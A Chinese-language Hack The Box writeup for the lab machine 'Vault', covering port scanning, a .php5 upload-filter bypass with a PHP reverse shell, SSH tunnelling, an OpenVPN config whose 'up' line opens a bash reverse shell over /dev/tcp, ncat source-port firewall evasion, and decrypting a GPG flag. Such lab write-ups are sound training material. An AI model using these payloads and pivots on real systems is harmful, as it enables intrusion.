HTB靶机渗透实战Writeup——Vault

1,054 阅读5分钟
原文链接: www.anquanke.com

 

前言

大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的一个靶机:Vault的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章。HTB的入坑,平台和网上都能简单的搜到,我就不在此赘述了,本人和朋友在HTB建立了团队以及交流群,如如果有意探讨,请联系我:Q_1147315521

实战

靶机地址: https://www.hackthebox.eu/home/machines/profile/161

目标IP: 10.10.10.109(Linux)

本机IP:10.10.14.43(Kali)

目标:获取user.txt以及root.txt(分别为获取目标的普通用户权限以及管理员权限)

信息收集

NMAP端口扫描

nmap -sC -sV -oA  nmap 10.10.10.109

Nmap scan report for 10.10.10.109

Host is up (0.42s latency).

Not shown: 998 closed ports

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)

|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)

|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

访问80端口:

网站信息

显示存在平台 sparklays

访问10.10.10.109/sparklays

403,直接进行目录爆破:

整理:

changelogo.php(可上传图片)

/uploads/ (为上传文件目录)

获取反弹shell

尝试直接上传PHP文件:

失败

测试发现是黑名单检测,通过1234.php5绕过限制

未直接找到地址,

我上传的是一个php反弹shell

使用nc监听1234端口并访问

http://10.10.10.109/sparklays/design/uploads/1234.php5

反弹成功获得用户www-data的shell。

查看Home目录内并未发现user.txt,发现以下内容:

DNS + Configurator – 192.168.122.4

Firewall – 192.168.122.5

The Vault – x

dave

Dav3therav3123

key内容:

itscominghome

发现主机存在网段192.168.122.x

通过ifconfig发现主机网段内ip为192.168.122.1

virbr0    Link encap:Ethernet  HWaddr fe:54:00:17:ab:49

          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0

发现nc可用 通过nc扫描192.168.122.4开放的端口

ifconfig

nc -z -v 192.168.122.4 1-100

Connection to 192.168.122.4 22 port [tcp/ssh] succeeded! 

Connection to 192.168.122.4 80 port [tcp/http] succeeded!

发现主机开放22、80端口

并且之前在目录下发现了ssh用户dave的登录账号密码

SSH端口转发

通过ssh端口转发并访问本地端口8888(文献参考)

ssh -L 8888:192.168.122.4:80 dave@10.10.10.109

访问两个链接发现

只有vpnconfig可用,但无其他信息,于是继续进行目录爆破

通过目录爆破发现/notes目录

并且提示有123.ovpn以及一个脚本

分别查看

连接DNS

直接使用123.ovpn的内容在vpnconfigurator页面执行

remote 192.168.122.1

ifconfig 10.200.0.2 10.200.0.1

dev tun

script-security 2

nobind

up "/bin/bash -c '/bin/bash -i &> /dev/tcp/192.168.122.1/1337 0>&1'"

ubuntu主机监听1337

可看到已经获取DNF服务器的root,再次查看/home/dave发现user.txt

以及一个ssh账号密码与之前的有差异dav3gerous567

user权限拿下。

获取Root

连接Vault

在ubuntu机子上连接dave的ssh:

ssh dave@192.168.122.4

查看文件

/etc/hosts

发现新ip

192.168.5.2

在/var/log/auth.log文件中发现有连接的方法

可通过在DNS主机发现的DAVE凭据去登录192.168.5.2

对192.168.5.2进行端口扫描

nmap -Pn -sS -sU -T4 -p- 192.168.5.2

Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-09 03:57 GMT

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Nmap scan report for Vault (192.168.5.2) Host is up (0.0021s latency).

Not shown: 65535 open|filtered ports, 65533 filtered ports

PORT STATE SERVICE

53/tcp closed domain

4444/tcp closed krb524

通过auto.log得知指定源端口继续扫描可以发现另一个开放端口

nmap 192.168.5.2 -Pn --source-port=4444 –f

Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-09 03:57 GMT

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Nmap scan report for Vault (192.168.5.2) Host is up (0.0021s latency).

Not shown: 65535 open|filtered ports, 65533 filtered ports

PORT STATE SERVICE

987/tcp open unknown

按照auto.log的方法操作:

ncat -l 5555 --sh-exec "ncat 192.168.5.2 987 -p 53" &

netstat -antup

使用一个可用端口,在DNS上设置一个ncat侦听器,它将使用提供的源端口触发到Vault的连接。检查主机是否成功监听了该端口。

已成功

并且发现是一个ssh服务 于是我们使用dave的账号登录

发现一个root.txt.gpg

尝试解密gpg失败,没有密钥

在DNS机器上也没有密钥

在Ubuntu主机上发现了相同的ID

gpg --list-keys

 /home/dave/.gnupg/pubring.gpg

-----------------------------

pub 4096R/0FDFBFE4 2018-07-24

uid david

sub 4096R/D1EB1F03 2018-07-24

文件传输

使用scp将root.txt.gpg传输至ubuntu主机

思路:

vault > dns > ubuntu

在DNS主机上执行

sudo ncat -l 5555 --sh-exec "ncat 192.168.5.2 987 -p 4444" &

scp -P 5555 dave@192.168.122.4:/home/dave/root.txt.gpg /tmp

在ubuntu主机上执行

scp dave@192.168.122.4:/tmp/root.txt.gpg .

这里需要一个key

就是一开始得到的key: itscominghome

获得root.txt:

个人感悟

Vault靶机,user.txt获取很简单,只考察一点枚举能力。在root.txt获取上比较麻烦,得找到并理清关系,主机存在Ubuntu上,可通过openvpn连接至DNS主机,通过auth.log知道Vault主机,root.txt存在于Vault主机并进行了gpg加密,通过密钥的寻找,确定在ubuntu使用key上解密即可得到root.txt

文献参考

ssh隧道:www.ssh.com/ssh/tunneli…

从OpenVPN配置文件获取反弹shell:medium.com/tenable-tec…

GPG Keys Cheatsheet:

easyengine.io/tutorials/l…

scp跨机远程拷贝:

linuxtools-rst.readthedocs.io/zh_CN/lates…